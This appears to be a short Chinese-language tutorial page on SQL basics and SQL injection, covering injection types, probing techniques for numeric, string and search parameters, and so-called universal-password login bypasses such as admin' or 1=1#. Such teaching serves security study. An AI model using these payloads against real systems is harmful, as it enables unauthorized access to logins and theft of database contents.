当前位置:Gxlcms > 数据库问题 > SQL注入

SQL注入

时间:2021-07-01 10:21:17 帮助过:1人阅读

一、SQL语句基础
1.增删改查
insert into 库.表(列1,列2,....) values(值1,值2,....) 条件
delete from 库.表 条件
update 库.表 set 列1=值,列2=值 条件
select 列1,列2 from 库.表  条件(*代表全部列,limit分页(limit 起始下标,条数))
(sqlserver分页是用top)

2.条件语句
where ....

二、SQL注入
1.什么是SQL注入
用户提交的参数带入了SQL语句。

2.SQL注入都有哪些类型
分类:注入取数据方式不一样来分类,(按获取数据的速度排列)
1.延时注入
sleep(秒)
2.盲注(and 1=1 and 1=2)and hex(substr(data,1,1))>0
3.错误显示注入(利用数据库的错误消息来进行注入),mysql(64个字符),oracle(大概2000个字符左右),mssql(1前多还是2千多字符)
4.union注入 union all select username from admin

3.SQL注入能干什么
    1.获取数据库数据(曾删改查)
    2.读写文件
    3.执行操作系统命令

4.如何判断是否存在注入
数字型、字符型、搜索型

数字型:
sql="select * from news where id=1 and 1=1";
sql="select * from news where id=1 order by 1";
字符型:
1‘ and ‘1‘=‘1
sql="select * from news where type=‘1‘ and ‘1‘=‘1‘";

sql="select * from news where type=‘1‘ order by 1‘";
搜索型:
%‘ and ‘%‘=‘
sql="select * from news where title like ‘%%‘"

5.传说中的万能密码
admin‘ or ‘a‘=‘a
admin‘ or 1=1#(mysql)
admin‘ or 1=1--(sqlserver)
admin‘ or 1=1;--(sqlserver)

sql="select * from admin where username=‘‘ and password=‘‘";

SQL注入

标签:

人气教程排行